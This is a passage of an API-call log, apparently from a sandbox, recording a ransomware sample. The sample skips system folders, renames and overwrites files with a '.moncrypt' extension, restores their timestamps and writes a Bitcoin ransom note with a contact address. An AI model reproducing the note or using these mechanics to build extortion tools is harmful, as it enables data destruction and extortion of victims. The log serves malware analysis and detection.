lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.744] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0054.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.744] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0054.744] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0054.744] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.744] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0054.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.745] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0054.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a728, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.745] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.745] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.745] GlobalUnlock (hMem=0x44000c) returned 0 [0054.745] GlobalLock (hMem=0x44000c) returned 0x550170 [0054.745] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.745] GlobalHandle (pMem=0x550170) returned 0x44000c [0054.745] GlobalUnlock (hMem=0x44000c) returned 0 [0054.745] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.745] GlobalUnlock (hMem=0x440004) returned 0 [0054.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.745] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0054.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0054.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0054.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0054.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.746] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0054.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0054.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a710, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0054.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\translat\\arfr\\") returned 0x3d [0054.747] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0054.747] GlobalLock (hMem=0x440004) returned 0x550170 [0054.747] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.747] GlobalUnlock (hMem=0x440004) returned 0 [0054.747] GlobalLock (hMem=0x440004) returned 0x550170 [0054.747] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.747] GlobalHandle (pMem=0x550170) returned 0x440004 [0054.747] GlobalUnlock (hMem=0x440004) returned 0 [0054.747] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.747] GlobalUnlock (hMem=0x44000c) returned 0 [0054.747] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0054.747] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7562dd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7562dd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.747] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 1 [0054.747] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0054.747] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0054.747] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.747] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.747] GlobalUnlock (hMem=0x44000c) returned 0 [0054.747] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.747] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.747] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.748] GlobalUnlock (hMem=0x44000c) returned 0 [0054.748] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.748] GlobalUnlock (hMem=0x440004) returned 0 [0054.748] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0054.748] CharLowerBuffW (in: lpsz="MSB1ARFR.ITS", cchLength=0xc | out: lpsz="msb1arfr.its") returned 0xc [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1ê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0054.748] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0054.748] CharLowerBuffW (in: lpsz=".ITS", cchLength=0x4 | out: lpsz=".its") returned 0x4 [0054.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".its", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".itsShared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpUsedDefaultChar=0x0) returned 4 [0054.748] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.749] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0054.750] CloseHandle (hObject=0x18c) returned 1 [0054.750] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\я")) returned 1 [0054.751] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x195018, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSB1ARFR.ITS", cAlternateFileName="")) returned 0x54e240 [0054.751] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0054.751] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0054.751] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0054.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS", dwFileAttributes=0x20) returned 1 [0054.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0054.752] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.moncrypt")) returned 1 [0054.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.753] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.753] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x195018 [0054.753] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0054.753] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0054.755] GlobalLock (hMem=0x440004) returned 0x555b78 [0054.755] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.755] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.755] GlobalUnlock (hMem=0x44000c) returned 0 [0054.755] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0054.755] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.756] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.756] GlobalUnlock (hMem=0x44000c) returned 0 [0054.756] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.756] GlobalLock (hMem=0x44000c) returned 0x55bb88 [0054.756] GlobalHandle (pMem=0x555b78) returned 0x440004 [0054.756] GlobalUnlock (hMem=0x440004) returned 0 [0054.756] GlobalHandle (pMem=0x55bb88) returned 0x44000c [0054.756] GlobalUnlock (hMem=0x44000c) returned 0 [0054.756] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.756] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.756] GlobalUnlock (hMem=0x44000c) returned 0 [0054.756] GlobalReAlloc (hMem=0x44000c, dwBytes=0x6000, uFlags=0x2) returned 0x44000c [0054.756] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.757] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.757] GlobalUnlock (hMem=0x44000c) returned 0 [0054.757] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0054.757] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0054.757] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0054.757] SetFilePointer (in: hFile=0x18c, lDistanceToMove=1658904, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x195018 [0054.757] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0054.762] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0054.762] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0054.773] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0054.773] CloseHandle (hObject=0x18c) returned 1 [0054.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\msb1arfr.its.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.805] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0054.805] CloseHandle (hObject=0x18c) returned 1 [0054.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\MSB1ARFR.ITS.moncrypt", dwFileAttributes=0x20) returned 1 [0054.806] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0054.806] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.806] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.806] GlobalUnlock (hMem=0x44000c) returned 0 [0054.806] GlobalLock (hMem=0x44000c) returned 0x555b78 [0054.806] GlobalLock (hMem=0x440004) returned 0x557b88 [0054.806] GlobalHandle (pMem=0x555b78) returned 0x44000c [0054.806] GlobalUnlock (hMem=0x44000c) returned 0 [0054.806] GlobalHandle (pMem=0x557b88) returned 0x440004 [0054.806] GlobalUnlock (hMem=0x440004) returned 0 [0054.806] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0054.806] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a690, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0054.807] GetLastError () returned 0x2 [0054.807] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\ARFR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\arfr\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0054.807] WriteFile (in: hFile=0x18c, lpBuffer=0x1dcc6d8*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0054.808] CloseHandle (hObject=0x18c) returned 1 [0054.808] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b324b00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7562dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b324b00, 